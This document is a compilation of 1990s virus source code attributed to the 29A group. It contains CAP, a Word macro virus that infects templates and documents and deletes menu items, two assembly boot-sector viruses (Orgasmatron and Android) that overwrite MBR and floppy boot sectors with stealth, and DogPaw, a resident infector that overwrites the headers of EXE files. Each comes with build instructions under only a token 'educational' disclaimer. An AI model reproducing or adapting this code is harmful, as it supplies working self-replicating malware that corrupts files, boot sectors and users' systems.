'
' Disclaimer
' ÄÄÄÄÄÄÄÄÄÄ
' This sample code is for educational purposez only. The author is not res-
' ponsible for any problemz caused due to use/misuse of this file.
'
'
' (c) 1997. Jacky Qwerty / 29A.

Macro: CAP - description: "F%"


ÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
'C.A.P: Un virus social.. y ahora digital..
'"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
'Venezuela, Maracay, Dic 1996.
'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
End Sub

Dim Shared M$(9)

Sub S(F$)
On Error Resume Next
S$ = "F%" 'virus mark
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$(0) = "CAP" 'build namez for the basic set of macroz
M$(3) = A$ + C$
M$(5) = A$ + "Save"
M$(2) = A$ + B$
M$(9) = A$ + "Templates"
A$ = "Auto"
M$(6) = M$(5) + "As"
M$(1) = A$ + B$
M$(8) = A$ + "Exec"
M$(4) = A$ + C$
M$(7) = "Tools" + D$
M = 0
N = 0
For T = 1 To 0 Step - 1 'scan macros inside global
For I = CountMacros(T) To 1 Step - 1 ' and active template and
B$ = MacroName$(I, T) ' delete all foreign macroz
If S$ = Left$(MacroDesc$(B$), 2) Then
For J = 0 To 9
If B$ = M$(J) Then
If T Then N = N + 1 Else M = M + 1
J = 9
End If
Next
Else
ToolsMacro .Name = B$, .Show = T + T + 1, .Delete
End If
Next
Next
If F$ <> "" Then
If M < 10 And N Then 'global template infection
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1, .AutoSave = 1, .SaveInterval =
"10"
For I = 0 To 9 'copy basic set of macroz
If I <> 7 Then K = - 1 Else K = 0
MacroCopy F$ + ":" + M$(I), M$(I), K
Next
'increment generation count
B$ = S$ + LTrim$(Str$(Val(Mid$(MacroDesc$(M$(7)), 3)) + 1))
ToolsMacro .Name = M$(7), .Show = 1, .Description = B$, .SetDesc
A$ = MenuText$(0, 1) 'copy localized file
For I = CountMacros(1) To 1 Step - 1 ' related macroz
J = 0
B$ = MacroName$(I, 1)
Select Case MacroDesc$(B$)
Case S$ + "O"
J = 2
Case S$ + "C"
J = 3
Case S$ + "S"
J = 5
Case S$ + "SA"
J = 6
End Select
If J Then
C$ = MenuItemMacro$(A$, 0, J)
If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And Left$(C$, 1) <> "(" Then
MacroCopy F$ + ":" + B$, C$, K
End If
Next
T = - 1
For I = 0 To 1 'delete menu itemz (ToolsMacro, etc.)
If I Then J = 1 Else J = 6
A$ = MenuText$(I, J)
J = CountMenuItems(A$, I) - 1
For M = J To 1 Step - 1
If InStr(MenuItemMacro$(A$, I, M), D$) Then
If I Then
B$ = MenuItemMacro$(A$, I, M - 2)
If UCase$(B$) <> UCase$(M$(9)) And Left$(B$, 1) <> "(" Then MacroCopy M$(9), B$
, K
Else
M = M + 1
End If
For T = M To M - 1 Step - 1
If T > 3 Then ToolsCustomizeMenus .MenuType = I, .Position = T, .Name =
MenuItemMacro$(A$, I, T), .Menu = A$, .Remove, .Context = 0
Next
M = 1
T = 0
End If
Next
Next
If T Then
For I = 6 To J
If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And Left$(MenuItemMacro$(A$, 1, I - 2),
1) = "(" Then
For T = 1 To 3 Step 2
B$ = MenuItemMacro$(A$, 1, I - T)
If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K
Next
I = J
End If
Next
End If
End If
Dim D As FileSaveAs 'document, template and RTF infection
GetCurValues D
If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then
D.Format = 1
For I = CountMacros(0) To 1 Step - 1
B$ = MacroName$(I, 0)
If B$ <> M$(7) Then K = - 1 Else K = 0
MacroCopy B$, F$ + ":" + B$, K
Next
FileSaveAs D
End If
End If
Err = 0
End Sub

Sub FO 'FileOpen macro jumps here


On Error Resume Next
DisableAutoMacros
On Error Goto E
Dim D As FileOpen
GetCurValues D
Dialog D
FileOpen D
S(D.Name)
E:
End Sub

Sub FC 'FileClose macro jumps here


On Error Resume Next
DisableAutoMacros
S(FileName$())
FileClose
End Sub

Sub FS 'FileSave macro jumps here


On Error Resume Next
DisableAutoMacros
On Error Goto F
FileSave
S(FileName$())
F:
End Sub

Sub FSA 'FileSaveAs macro jumps here


On Error Resume Next
DisableAutoMacros
On Error Goto G
Dim D As FileSaveAs
GetCurValues D
If D.Format <> 1 Then
Dialog D
FileSaveAs D
S(D.Name)
Else
T = Window()
W$ = D.Name
FileNew .Template = FileName$()
On Error Goto H
GetCurValues D
D.Name = W$
Dialog D
FileSaveAs D
On Error Goto G
S(D.Name)
If T >= Window() Then T = T + 1
WindowList T
H:
FileClose 2
End If
G:
End Sub

Macro: FileClose - description: "F%C"


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
On Error Resume Next
CAP.FC
End Sub

Macro: FileOpen - description: "F%O"


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
On Error Resume Next
CAP.FO
End Sub

Macro: FileSave - description: "F%S"


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
On Error Resume Next
CAP.FS
End Sub

Macro: FileSaveAs - description: "F%SA"


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
On Error Resume Next
CAP.FSA
End Sub

Macro: AutoClose - description: "F%"


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
On Error Resume Next
CAP.S(FileName$())
End Sub

Macro: AutoExec - description: "F%"


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
On Error Resume Next
DisableAutoMacros 0
CAP.S("")
End Sub

Macro: AutoOpen - description: "F%"


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
On Error Resume Next
CAP.S(FileName$())
End Sub
Macro: FileTemplates - description: "F%"
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
End Sub

Macro: ToolsMacro - description: "F%0" 'this macro holds the generation count
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub MAIN
End Sub

' End
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; [Orgasmatron] by Vecna/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; A research full-stealth boot virus ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; which uses 386+ PMODE features ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; A lot of help and code by Eternal Maverick/SGWW.
;
; This virus is the first boot virus ever that doesn't hook int 13h in order
; to infect and stealth its tracks. It only hooks int 1, to manage the hard-
; ware debug breakpoints, and int 8, to constantly monitor any changes which
; happen in int 1, to prevent disabling our handler, and setting the debug
; breakpoint at the int 13h entry point.
;
; When the computer is booted from an infected floppy, the virus will first
; check if the computer is 386+, by means of int 6 (invalid opcode). If it's
; a 286 or even a lower machine, it will return the control to the original
; boot. Else, it will hook int 1 and int 8.
;
; The task performed by int 8 is not to allow any changes in 0:4 (int 1),
; fixing it if necessary, and set DR3 to point to the BIOS entry point for
; int 13h. I use DR3, the last of the debug breakpoints, because it's less
; likely to be overwritten by other programs. Debuggers and other programs
; that use int 1 or hardware debug breakpoints, like Soft-ICE or Windows95,
; will either crash, don't work, or don't let the virus work.
;
; When int 1 is called, our handler checks if it comes from an int 1 opcode
; (0xcd, 0x01 or 0xf1), from single step, or from a hardware debug break-
; point. If it is a debug breakpoint, and it comes from "our" DR3, the virus
; will infect the floppy or stealth it in case it's already infected. Orgas-
; matron infects the boot sector in HDs and floppies. The original boot is
; put in the last sector of the first track in harddrives, and in the last
; sector of the root dir in floppies. This will allow it to work with any
; floppy size.
;
; As you could read in the heading, Orgasmatron is the very first boot virus
; ever which uses 386+ PMODE features and works in protected mode, making it
; much more versatile and advanced.
;
; Lots of help and bug fix by Eternal Maverick/SGWW.
;
; No greetings this time... ;)
;
; tasm /m /la orgasmat.asm
; tlink orgasmat.obj
; exe2bin orgasmat.exe orgasmat.bin

.model tiny
.code
.8086
org 0h

start proc
jmp loco
nop
endp start

bpb struc
bpb_oem db 8 dup (?)
bpb_b_s dw ?
bpb_s_c db ?
bpb_r_s dw ?
bpb_n_f db ?
bpb_r_e dw ?
bpb_t_s dw ?
bpb_m_d db ?
bpb_s_f dw ?
bpb_s_t dw ?
bpb_n_h dw ?
bpb_h_d dw ?
bpb_sht db 20h dup (?)
bpb ends

boot bpb <>

loco proc
cli
sub ax, ax
mov ss, ax
mov sp, 7c00h
push cs
pop ds
dec word ptr ds:[413h]
int 12h
mov cl, 10
ror ax, cl
mov es, ax
xor di, di
mov si, sp
mov cx, 0100h
rep movsw
push es
mov ax, offset strtovr
push ax
retf
endp loco

strtovr proc
mov byte ptr cs:[i13InUse], 0
push dword ptr ds:[6*4]
cmp word ptr ds:[1Ch*4],offset int1C
je is286orlower
mov word ptr ds:[6*4], offset is286orlower
mov word ptr ds:[6*4+2], cs
.386p
mov eax, dword ptr ds:[13h*4]
mov dword ptr cs:[old13], eax
mov eax, dword ptr ds:[1Ch*4]
mov dword ptr cs:[old1C],eax
mov word ptr ds:[1Ch*4],offset int1C
mov word ptr ds:[1Ch*4+2],cs
jmp installed
.8086
is286orlower:
inc word ptr ds:[413h]
installed:
pop dword ptr ds:[6*4]
sti
push ds
pop es
retry:
xor ax, ax
int 13h
mov ax, 0201h
mov bx, 7c00h
call setcxdxdo13
jc retry
db 0eah
dw 07c00h
dw 0h
endp strtovr

.386p

setcxdxdo13 proc
push ax
cmp dl, 80h
je harddrive
floppydrive:
mov cx, word ptr es:[bx.bpb_r_e+3]
shr cx, 4
movzx ax, byte ptr es:[bx.bpb_n_f+3]
mul word ptr es:[bx.bpb_s_f+3]
add cx, ax
inc cx
sub cx, word ptr es:[bx.bpb_s_t+3]
mov dh, 1
jmp goexit
harddrive:
mov ah, 8
int 13h
and cx, 0111111b
mov dx,80h
goexit:
pop ax
int13 proc
pushf
db 9ah
old13 equ this dword
dd ?
endp int13
ret
endp setcxdxdo13

setdr proc
push ds
pushad
push 0
pop ds
mov word ptr ds:[1*4], offset int1
mov word ptr ds:[1*4+2], cs
mov byte ptr cs:[change], 90h
movzx eax, word ptr cs:[old13]
movzx ebx, word ptr cs:[old13+2]
shl ebx, 4
add ebx, eax
mov dr3, ebx
mov eax, dr7
or al, 010000000b
mov dr7, eax
popad
pop ds
ret
endp setdr

int1C proc
cmp byte ptr cs:[i13InUse], 0
jne int1isrunning
call setdr
int1isrunning:
db 0eah
old1C dd ?
endp int1C

int1 proc
push eax
mov eax, dr6
mov dword ptr cs:[savedr6], eax
xor eax, eax
mov dr6, eax
mov eax, dr7
and al, not 010000000b
mov dr7, eax
pop eax
nop
change equ byte ptr $ -1
endp int1

debug proc
push eax
push ds
push cs
pop ds
inc byte ptr [i13InUse]
mov eax, -1
savedr6 equ dword ptr $-4
test ax, 0100000000001000b
jz done
mov byte ptr [change], 0cfh
cmp cx, 1
jne done
cmp dl, 80h
jb floppy
cmp dh,1
je bootaccess
jmp short done
floppy:
or dh,dh
jne done
bootaccess:
pop ds
pop eax
add sp, 6
call int13
pushf
push ax
jc error
cmp word ptr es:[bx+offset mymark], '**'
mymark equ word ptr $ -2
je stealth
mov ax, 0301h
call setcxdxdo13
jc error
pusha
push es
push ds
push es
pop ds
push cs
pop es
mov di, offset boot
lea si,[bx+3]
mov cx, 3bh
cld
rep movsb
mov ax, 0301h
xor bx, bx
inc cx
mov dh, 1
cmp dl, 80h
je winchester
mov dh, 0
winchester:
call int13
pop ds
pop es
popa
stealth:
mov ax, 0201h
call setcxdxdo13
error:
dec byte ptr cs:[i13InUse]
pop ax
popf
retf 2
done:
dec byte ptr [i13InUse]
pop ds
pop eax
iret
endp debug

i13InUse db -1

db 0, 0, '-=ðORGASMATRONð=-', 0, 0

org 01feh

db 55h,0aah

buffer equ this byte

end start
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; [Android] by Vecna/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; Polymorphic boot virus with VRBL ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Ok, here is a boot virus which uses my engine, VRBL. The virus is a simple
; MBR/BOOT infector, with stealth only in the harddrive. It is fucking sim-
; ple. When you boot from a floppy, it infects the MBR and continues booting
; from the harddrive, so, if you forget a floppy in the drive and reboot,
; you won't be warned about this. Everything will work nice.
;
; Int 13h is hooked, and if the harddrive MBR is accessed, the reads will be
; stealthed. When a floppy is accessed, the boot sector will be overwritten
; by the random loader, and the virus code will be put in the last sector of
; the root dir in 1.44 floppies. Other size of floppies will be probably da-
; maged, although this hasn't been tested yet.
;
; The virus, to be really efficient, needs to be polymorphic in the code as
; well. To detect this virus, you only need to scan 0/0/3 in harddrives and
; 0/1/13 in floppies for a certain signature. Despite of this, Android will
; force AVs to change their scanners, because they will need to check other
; sectors than 0/0/1.
;
; tasm /m /l android.asm
; tlink android.exe
; exe2bin android.exe android.com

.model tiny
.code
.386
org 0

startvirus:
xor ax, ax
cli
mov ss, ax
mov sp, 7c00h
sti
mov ds, ax
sub word ptr ds:[413h], 3
mov ax, word ptr ds:[13h*4]
mov word ptr cs:[old13], ax
mov ax, word ptr ds:[13h*4+2]
mov word ptr cs:[old13+2], ax
int 12h
shl ax, 6
push ax
pop es
push cs
pop ds
mov cx, offset buffer-offset startvirus
xor si, si
mov di, si
rep movsb
push es
push offset highentry
retf
highentry:
push cs
pop es
push 0
pop ds
mov ax, cs
mov word ptr ds:[13h*4+2], ax
mov word ptr ds:[13h*4], offset int13
push cs
pop ds
mov ax, 201h
mov bx, offset buffer
mov cx, 3
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov ax, word ptr [startvirus]
cmp word ptr [bx], ax
je hdinfected
infecthd:
mov ax, 201h
mov bx, offset buffer
mov cx, 1
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov ax, 301h
mov bx, offset buffer
mov cx, 2
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov ax, 303h
xor bx, bx
mov cx, 3
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov cx, 3
mov dx, 80h
mov di, offset buffer
call makeloader
mov ax, 301h
mov bx, offset buffer
mov cx, 1
mov dx, 80h
pushf
call dword ptr cs:[old13]
hdinfected:
push 0
pop es
mov ax, 201h
mov bx, 7c00h
mov cx, 2
mov dx, 80h
pushf
call dword ptr cs:[old13]
push es
push bx
retf

random_init:
ret

random:
in al, 40h
xchg ah, al
in al, 40h
ret

int13:
cmp ah, 2
jne exit
cmp cx, 1
jne exit
cmp dh, 0
jne exit
pushf
call dword ptr cs:[old13]
jc error
cmp dl, 80h
jne infect
mov ax, 201h
mov cx, 2
mov dx, 80h
pushf
call dword ptr cs:[old13]
dec cx
jmp error
infect:
pusha
push es
push ds
mov cx, 512
push es
push cs
pop es
pop ds
mov si, bx
mov di, offset buffer
rep movsb
push cs
pop ds
mov di, offset buffer
mov word ptr [di], 03cebh
add di, 3ch
mov cx, 13
mov dx, 100h
call makeloader
mov ax, 301h
mov bx, offset buffer
mov cx, 1
xor dx, dx
pushf
call dword ptr cs:[old13]
mov ax, 303h
xor bx, bx
mov cx, 13
mov dx, 100h
pushf
call dword ptr cs:[old13]
pop ds
pop es
popa
error:
retf 2
exit:
db 0eah
old13 dd ?
db '[Android] by Vecna/29A', 10, 13
db 'Written in Brazil in 1997', 10, 13

include vrbl.asm

seg_need db 65h

buffer db 512 dup (?)

end startvirus
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; DogPaw.720 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; This simple DOS virus exploits a certain feature graciosly implemented for
; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
; has to do with non-DOS aplicationz run from DOS boxez opened under these
; 32-bit systemz. It doesnt aply to Win3.1, tho.
;
; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box,
; the comon frustratin mesage "This program cannot be run in DOS mode" or
; "This program requires Microsoft Windows" apeared. The guyz at Microsoft
; always lookin for enhancementz finaly made it right with NT and Win95 and
; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
; execute a non-DOS aplication from a DOS box, the system loader no longer
; executes the DOS stub program which displays such mesage, it actually ends
; up executin the real Win3.1 or Win32 aplication just as if u had double-
; clicked the program on yer desktop to execute it. But what has this thing
; got to do with us? Can this feature be used in a virus? the answer is yes.
;
; I wrote this virus just to ilustrate how the above feature can be cleverly
; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro,
; antidebug, etc. but it implements full stealth tho, and encrypts data of
; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
; from undernet #virus as he seems to be the first one havin exploited this.
;
;
; Technical description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
: NT and OS/2 programz. It infects filez on close and execute and disinfects
; them on open. I dont like this kind of stealth at all but it was more than
; necesary in order to exploit the forementioned feature.
;
; When DogPaw infects a file, it encrypts the first 720 bytez of the host,
; includin its MZ header and stores it at the end of the file, then it over-
; writes the first 720 bytez of the host with the virus code itself, which
; is really DOS program code. This way what the virus really does is conver-
; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con-
; tainin virus code. This doesnt mean that such filez are trojanized or da-
; maged, they are fully functional after infection, read on.
;
; When a DogPaw-infected file is executed, the system treats it as a genuine
; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in
; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc).
; This way the virus executes as a DOS 16-bit program and plants a resident
; copy in DOS memory. After this the virus has to execute the original apli-
; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
; sinfects the host by decryptin the original data at the end of file and
; writes it back to the begin of file previosly overwriten with virus code.
; Next the virus executes the original host and, becoz of the above feature,
; the system finally executes the original Win3.1, Win32 or OS/2 aplication
; just as if it had been executed from outside a DOS box.
;
; The disadvantagez of this method are plain to see. Microsoft obviosly dont
; want people to write clumsy DOS programz, tho it is still suportin old DOS
; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
; needed in order to make the migration from DOS to Win32 less painfully and
; troublesome. But once this DOS compatibility disapears from these systemz,
; those nonDOS programz infected by this virus wont be able to run or spread
; further from inside these 32-bit OS's. As u can see its not wise at all to
; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
; For this purpose we must interact directly with the 32-bit file format, ie
; the PE format itself. There is no way to circumvent this in the future ;)
;
;
; A dog paw tale
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Some weekz ago i stole my dady's car to take a short ride around the block
; and i was so nervous that i almost crashed twice: the first time with a
; huge big garbage truck (yea even tho i wear glasez) and the second time
; with a little grandma crossin down the street. Shit.. that was enough for
; the day, i didnt want to kill anybody nor get killed at worst, so i deci-
; ded to go back home. I turned on the radio and started to sing "the side-
; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i
; had been about to crash twice. Why did i have to open my mouth! Just when
; i was about to turn right at the next block i heard a suden "crash" follo-
; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
; tirez. Shit what da hell was that..? i looked back thru the front mirror
; just to know the answer. On the road i had left behind, there lied a poor
; crushed dog. Ohh shit i crushed a dog! Now from time to time when that
; scene comes to my mind, all i see is that unfortunate squeezed dog wavin
; goodbye with his paw.. the poor dog paw. #8I
;
;
; Greetingz
; ÄÄÄÄÄÄÄÄÄ
; And finaly the greetingz go to:
;
; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
; Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
; Liquiz ........ Still watin to see that poly of yourz.. #8)
;
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only. The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm -ml -m5 -q -zn dogpaw.asm
; tlink -t -x dogpaw, dogpaw.exe
;
;
; (c) 1997 Jacky Qwerty/29A.

.model tiny
.286

include useful.inc
include MZ.inc

v_mark equ 'GD' ;virus mark


v_size_bytes equ v_end - v_start ;virus size in bytez
b_size_bytes equ v_size_bytes ;bufer size in bytez
s_size_bytes equ 100h ;stack size in bytez
v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz
v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz
v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz
v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez
v_size_div_512 equ v_size_bytes / 512 ;virus size div 512
v_size_mod_512 equ v_size_bytes \ ;virus size mod 512
- (512 * v_size_div_512) ;
m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez
- v_end) + b_size_bytes \ ;
+ s_size_bytes ;
m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz
m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz

.code
org 100h
v_start:

MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start


IMAGE_DOS_SIGNATURE, \ ;MZ_magic
v_size_mod_512, \ ;MZ_cblp
v_size_sects, \ ;MZ_cp
0, \ ;MZ_crlc
0, \ ;NZ_cparhdr
m_size_paras, \ ;MZ_minalloc
m_size_paras, \ ;MZ_maxalloc
-11h, \ ;MZ_ss
(m_size_bytes + 111h) and -2 \ ;MZ_sp
v_mark, \ ;MZ_csum
entry_point, \ ;MZ_ip
-10h \ ;MZ_cs
>

org (v_start + MZ_lfarlc)

old_MZ_low_ptr dw 0
old_MZ_high_ptr dw 0

c_start:

Copyright db 'D' xor 66h


db 'o' xor 66h
db 'g' xor 66h
db 'P' xor 66h
db 'a' xor 66h
db 'w' xor 66h
db ' ' xor 66h
db 'J' xor 66h
db 'x' xor 66h
db 'Q' xor 66h
db '/' xor 66h
db '2' xor 66h
db '9' xor 66h
db 'A' xor 66h
db 0 xor 66h

common_clean_ds:

push cs
pop ds
mov ds:[flag],al

common_clean: test al,? ;clear carry (clean file)


org $ - 1
common_infect: stc ;set carry (infect file)

pusha
mov bp,offset clean + 1
jnc common
mov si,dx
mov bp,offset infect + 1
cld
@endsz
std
lodsw
lodsw
cld
and al,not 20h
add al,-'E' ;check for EXE extension
jnz to_popa_ret
lodsw
and ax,not 2020h
add ax,-'XE'
jnz to_popa_ret

common: ;this function cleans or infects a file


;on exit:
; flag = 0, if error

mov ax,3D00h
call call_int_21 ;open file in read/only mode
jc to_popa_ret
xchg bx,ax
push ds dx
call ptr2begin ;move file pointer to begin of file
jc end_close
push cs
pop ds
call read ;read first 720 bytez
jc end_close
cmp word ptr [si.MZ_csum],v_mark ;check infection
jnz end_close_clc
mov ax,[si.MZ_magic]
cmp word ptr [si.MZ_maxalloc],m_size_paras
jnz end_close_clc
add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature
end_close_clc: clc
end_close: pushf
mov ah,3Eh
call call_int_21 ;close file
pop ax
dec bp
lahf
pop dx
or al,ah
shl ah,4
pop ds
xor ah,al
sahf
jbe end_popa_ret ;if (carry or zero)

mov ax,4300h ;save old file atributes


call call_int_21
to_popa_ret: jc end_popa_ret

push ds
mov si,4*24h-80h
call get_int
pop ds
pusha ;ax, bx, si
mov bx,cs
mov ax,offset new_24
call set_int

push cx
mov cl,20h ;set read/write file atributes
mov ax,4301h
call call_int_21
pop cx
jc end_2popa_ret

mov ax,3D02h ;open file in read/write mode


call call_int_21
jc restore_atrib

pusha ;cx, dx
xchg bx,ax
mov ax,5700h ;get data & time
call call_int_21
jc close_file

push ds es
pusha

push cs cs
pop ds es
mov si,offset b_start
lea di,[si + old_MZ_low_ptr - v_start]
call bp ;clean or infect
jc err_file
mov ds:[flag],al ;al!=0 (check this while debugin)

err_file: popa
pop es ds

mov ax,5701h ;set data & time


call call_int_21

close_file: mov ah,3Eh ;close file


call call_int_21
popa

restore_atrib: mov ax,4301h ;restore old atributes


call call_int_21

end_2popa_ret: popa
call set_int

end_popa_ret: popa
end_ret: ret

infect proc ;infects a file

mov cx,b_size_bytes

cld ;encrypt old MZ header


encrypt: lodsb
ror al,cl
xor al,0C5h
mov [si-1],al
loop encrypt

mov ax,4202h ;move file pointer to end of file


cwd
call call_int_21
jc end_ret

pusha
call write ;write old MZ header to end of file
jc end_popa_ret

lodsw ;move virus code to buffer area


xchg dx,di
mov si,offset v_start
mov ds:[old_MZ_Magic],ax
cld
move_virus: lodsb
stosb
loop move_virus
popa

stosw ;hardcode file location in virus code


xchg ax,dx ;
stosw ;

jmp ptr2new ;move file pointer to actual MZ header

infect endp

get_int: ;gets an interrupt vector


;on entry:
; SI = int number * 4
; DS = 0
;on exit:
; DX:AX = int vector adress retrieved

push 8
pop ds
mov bx,[si+2]
mov ax,[si]
ret

clean proc ;cleans an infected file

mov cx,[di + 2] ;old_MZ_high_ptr


mov dx,[di] ;old_MZ_low_ptr
pusha
call ptr2old ;move file pointer to old MZ header
jc end_popa_ret

call read ;read old MZ header


jc end_popa_ret

cmp word ptr [si.MZ_magic],1234h ;check old MZ header


old_MZ_Magic = word ptr $-2
stc
jnz end_popa_ret

cld ;decrypt old MZ header


decrypt: lodsb
xor al,0C5h
rol al,cl
mov [si-1],al
loop decrypt

popa
call ptr2old ;move file pointer to old MZ header
jc ptr2new

sub cx,cx
mov ah,40h ;remove old MZ header from end of file
call call_int_21

ptr2new: call ptr2begin ;move file pointer to actual MZ header


jc end_clean

write: mov ah,40h ;write MZ header


cmp ax,?
org $-2

read: mov ah,3Fh ;read MZ header


mov dx,offset b_start
mov cx,b_size_bytes
call call_int_21
jc end_rd_wr
cmp ax,cx
mov si,dx
end_rd_wr:

end_clean: ret

clean endp

entry_point: mov ax,30AFh


x = 4*21h-80h
push x
mov di,offset old_int_21 ;check if already installed
int 21h
cld
pop si
add al,-0AFh
mov bp,si
jz already ;yea we're instaled, jump

push ds ;hook int 21h & stay resident


call get_int
mov [1+bp-x+si-x],ds
stosw
pop ax
xchg ax,bx
stosw
mov ax,offset new_int_21
call set_int

already: push di
mov ds,[2Ch+10h+bp-x] ;get program filename
get_prog: inc si
cmp [si],bp
jnc get_prog
lea si,[si+4+bp-x]
pop dx
@copysz

call common_clean_ds ;clean infected program

exec: cmp al,ds:[flag] ;prevent circular execution


jz exit
push ds
mov bx,offset p_block ;execute program
mov ah,0Dh
call call_int_21
mov [bx+4],ds
mov [bx+8],cs
pusha
mov [bx+0Ch],es
mov ax,4B00h
call call_int_21
popa
mov ah,4Dh
call call_int_21
pop ds

call common_infect

exit: mov ah,4Ch ;exit to DOS


jmp call_int_21

p_block dw 0 ;parameter block to be used by 4B00h


dw 80h
dw ?
dw 5Ch
dw ?
dw 6Ch
dw ?

new_24: mov al,3


iret

ptr2begin: xor dx,dx ;move file pointer to actual MZ header


mov cx,dx
ptr2old: mov ax,4200h
call_int_21: pushf ;call old INT 21h
push cs
call jmp_int_21
ret

set_int: ;sets an interrupt vector


;on entry:
; SI = int number * 4
; DS = 0
; DX:AX = int vector adress to store

push ds
push 8
pop ds
mov [si+2],bx
mov [si],ax
pop ds
ret

infect_on_close: ;infect on file close


push ds es
pusha
mov bp,sp
push cs bx
mov ax,1220h
int 2Fh ;use file system tablez
jc fail_dcb
mov bl,es:[di]
cmp bl,-1
cmc
jc fail_dcb
mov ax,1216h
int 2Fh
fail_dcb: pop bx ds
pushf
mov ah,3Eh
call call_int_21 ;close file
mov [bp.Pusha_ax],ax
pop ax
jc fail_close
shr al,1
jc fail_close_clc
mov ax,':'*100h + mask BDA_DriveNumber
and al,byte ptr es:[di.DCB_DeviceAtribs]
mov dl,al
sub al,-'A'
mov si,offset program_name + 3
mov [si-3],ax
inc dx
mov ah,47h
call call_int_21 ;get current directory
jc fail_close_clc
cld
dec si
push es si ds
lea si,[di.DCB_FileName]
mov al,'\'
pop es di
stosb
add al,-'\' ; al=0
scasb
jnz $ - 1
sub al,-'\' ; al='\'
dec di
mov cx,size DCB_FileName + 1
cmp al,[di-1]
pop ds
push si
jz $+3
copy_name: stosb ;atach file name to path
lodsb
cmp al,20h
loopnz copy_name
pop si
mov al,'.'
mov cl,size DCB_FileExt + 1
sub si,- size DCB_FileName
copy_ext: stosb ;atach file extension to file name
lodsb
cmp al,20h
loopnz copy_ext
xor al,al
stosb
push cs
pop ds
mov dx,offset program_name
call common_infect ;infect the file
fail_close_clc: clc
fail_close: popa
pop es ds
retf 2
